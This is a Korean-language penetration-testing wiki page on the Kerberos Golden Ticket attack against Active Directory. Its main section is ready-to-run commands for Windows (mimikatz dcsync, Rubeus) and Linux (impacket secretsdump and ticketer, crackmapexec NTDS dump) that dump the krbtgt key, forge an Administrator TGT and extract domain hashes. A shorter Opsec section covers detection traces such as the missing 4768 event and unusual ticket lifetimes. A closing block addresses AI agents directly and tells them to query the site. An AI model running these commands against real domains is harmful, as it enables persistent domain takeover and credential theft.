# Golden Tickets

골든 티켓은 도메인 krbtgt의 비밀키(nt 해시 등)를 확보했을 때, TGT 정보를 조작하여 높은 권한을 획득하는 공격입니다. krbtgt는 사람이 사용하는 패스워드가 아니기 때문에 골든 티켓 공격은 이미 도메인 관리자 권한을 획득했을 때 높은 권한을 지속적으로 사용하기 위한 지속성 공격입니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># krbtgt의 커버로스 키(AES256) 덤프
</strong>mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com

<strong># 도메인 SID 덤프
</strong>Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value

<strong># 티켓 생성 및 환경변수 등록
</strong>.\Rubeus.exe golden /aes256:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /user:Administrator /domain:contoso.com /sid:S-1-5-21-2835490888-2107562977-246861531 /nowrap /ptt
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># krbtgt의 커버로스 키(AES256) 덤프
</strong>impacket-secretsdump contoso.com/Administrator:'Password123!'@192.168.1.11 -just-dc-user contoso/krbtgt

<strong># 도메인 SID 덤프
</strong>nxc ldap 192.168.1.11 -u Mick3y -p 'Password123!' --get-sid

<strong># 티켓 생성 및 환경변수 등록
</strong>impacket-ticketer Administrator -domain contoso.com -domain-sid S-1-5-21-2835490888-2107562977-246861531 -aesKey d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb
export KRB5CCNAME=Administrator.ccache

<strong># dcsync
</strong>crackmapexec smb 192.168.1.11 -u Administrator --use-kcache --ntds
</code></pre>

{% endtab %}
{% endtabs %}

## Opsec

Golden 티켓은 TGT를 공격자 로컬에서 생성하는 방식입니다. KDC와 통신하지 않기 때문에 일반적인 커버로스 이벤트와 다르게 사전 인증 단계에 해당하는 4768 이벤트가 기록되지 않습니다.

<div><figure><img src="/files/BxgQtk0SahuTfkxuu16z" alt=""><figcaption><p>일반 커버로스 이벤트 로그</p></figcaption></figure> <figure><img src="/files/9TlqVQePDBM03mNrtccM" alt=""><figcaption><p>골든 티켓 사용 시 이벤트 로그</p></figcaption></figure></div>

추가적으로 상용 도구는 발급하는 티켓의 유효 기간을 길게 잡기 위해 renewable-ok 플래그를 활성화하여 TGS-REQ 패킷을 전송합니다.

때문에 이벤트 로그의 Ticket Options의 플래그 값이 다르게 나타납니다.

<figure><img src="/files/44zL3q2oOownt9o4Atfe" alt=""><figcaption></figcaption></figure>

커버로스 티켓의 기본적인 유효 기간은 10시간입니다. 하지만 impacket에서 서비스 티켓 요청 시 라이프타임을 24시간으로 요청하며 심지어 Rubeus는 라이프타임을 10년으로 잡기도 합니다.

서버에서 티켓이 갱신 가능한 상태라면 Maximum lifetime for user ticket renewal 속성에서 정의하는 기간의 최대값만큼 티켓 유효 기간을 설정하여 응답합니다.&#x20;

<div><figure><img src="/files/7JJqS8ndORw2Y2BnAp9t" alt=""><figcaption><p>TGS-REQ</p></figcaption></figure> <figure><img src="/files/KAn3LQicHSrAMDMHr9FO" alt=""><figcaption><p>TGS-REP</p></figcaption></figure></div>

위 패킷은 Rubeus로 생성한 TGS-REQ입니다. TGS-REQ에서 Rubeus는 티켓의 만료 기간을 12년 뒤로 설정했지만, 도메인에서는 최대 갱신 기간을 7일로 한정하기 때문에 7일 뒤까지 유효한 티켓을 반환합니다.

## References

{% embed url="<https://kr.linkedin.com/pulse/%EC%BB%A4%EB%B2%84%EB%A1%9C%EC%8A%A4-%EA%B3%A8%EB%93%A0-%ED%8B%B0%EC%BC%93-%EA%B3%B5%EA%B2%A9%EC%9D%B4%EB%9E%80-%ED%83%90%EC%A7%80%EC%99%80-%EB%B6%84%EC%84%9D%EC%9D%80-%EB%AA%85%EC%98%A5-%EC%A1%B0>" %}

{% embed url="<https://toad.co.kr/it/?bmode=view&idx=13330621>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/persistence/golden-ticket#undefined-4>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/persistence/active-directory/golden-tickets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
